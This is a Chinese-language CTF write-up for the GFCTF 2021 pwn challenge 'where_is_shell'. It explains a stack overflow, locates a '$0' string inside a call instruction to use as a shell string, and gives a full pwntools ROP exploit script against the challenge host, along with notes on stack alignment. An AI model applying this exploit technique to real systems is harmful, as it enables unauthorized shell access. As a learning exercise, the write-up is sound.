GFCTF 2021where_is_shell
目录
[!note] 关联入口:PWN题目索引
GFCTF 2021where_is_shell
题目介绍
题目链接🔗
这道题我将打算记录两种写法,一种是简单的栈溢出构造ROP链,另一种有些南辕北辙了,但对于初学者的我而言,正好可以练习下栈迁移
本题属于简单题,需要注意一下 栈对齐 (ubantu18之后的新规定)
还有就是,机器码的细节点:
24 30 —(ASCII)—> $0 —> /bin/sh
解题过程
栈溢出
整体思路
首先去看 main 函数,存在栈溢出漏洞
计算得,可以溢出40bit的数据,这可以构造一个简短的ROP链了,本题如果能注意到机器码的细节,就可以轻松解决找不到 /bin/sh 字符串的问题(ps: $0 等价于 /bin/sh )
ROP
/bin/sh
本道题就给了两个函数,一个是 main 另一个是 tips 一开始对于这里的 call 汇编指令,后面给了地址,以为是动调后会出现的提示信息,结果这里的 call 对应的汇编二进制代码为 E8
十六进制 0x24、0x30 对应的 ASCII 字符分别是 $ 和 0。
0x24 0x30 看到在二进制里会被显示为 "$0"(两个字符的字节序列)。
。。。
至此,我们找到了 /bin/sh 的等价”字符串“ sh_addr = 0x400540 + 1 (跳过 E8)
sh_addr = 0x400541system函数
这里有一个需要注意的点, system 是函数库内的函数,经由got表于plt表动态绑定,所以可以在main函数中看到 _system 双击跳转到 plt表

这里想说明的是,我们在构造payload时,调用系统函数(存在于静态文件内的)地址,要填写plt表内的函数地址(0x400430),而不是text段的地址(0x400548) (原因不清楚,只是我脚本里调用text段的地址没有效果)
sys_addr = 0x400430payload构造
对此,我们只缺一个 pop_rdi_ret 和 ret 的gadget,便可以完成这个简短的ROP链
通过 ROPgadget 查找
ROPgadget --binary ./shell --only "pop|ret"
幸运的是,成功找到
pop_rdi_ret = 0x4005e3ret_addr = 0x400416将上述汇总,我们就得到了完整的payload
from pwn import *HOST = "node4.anna.nssctf.cn"PORT = 28752
p = remote(HOST,PORT)# text:0000000000400540 E8 24 30 00 00 call near ptr 403569hsh_addr = 0x400541 # 24 30 --> $0 --> "bin/sh"sys_addr = 0x400430 # 这里选用的是plt段的system地址pop_rdi_ret = 0x4005e3ret_addr = 0x40057D
payload = b'a' * 24payload += p64(ret_addr)payload += p64(pop_rdi_ret)payload += p64(sh_addr)payload += p64(sys_addr)
p.recvuntil("zltt lost his shell, can you find it?")p.sendline(payload)p.interactive()栈迁移
整体思路
ROP
寻找偏移地址
payload构造
总结
什么时候要去栈对齐?
还记得之前就说的Ubuntu18吗?它的作用现在就显现出来了: Ubuntu18及以上版本的系统要求在调用system函数时栈16字节对齐 意思是说在调用system时rip的值必须为16的倍数(也就是末位为0) 这也解释了为什么有些很简单的栈溢出题目,如果直接跳转到调用system的后门函数的地址会失败,因为有push ebp(rbp),导致栈没有对齐。而直接跳转到system(“/bin/sh”)函数就没有问题。
栈对齐的两种解决方法
单独做一篇文章
- 在调用函数地址时把push rbp给跳过去,将shellcode函数的地址+1,或者直接将shellcode的地址设置为system的地址
- 在目标指令比如pop rdi、call [system]之前先ret一次,rip地址的末位会由原来的8变为0,保证栈对齐
在本题中,由于没有直接的system(“/bin/sh”)可以调用,所以用不到第一种方法,就只能用第二种方法:在pop rdi;ret 指令的地址前加上ret 指令的地址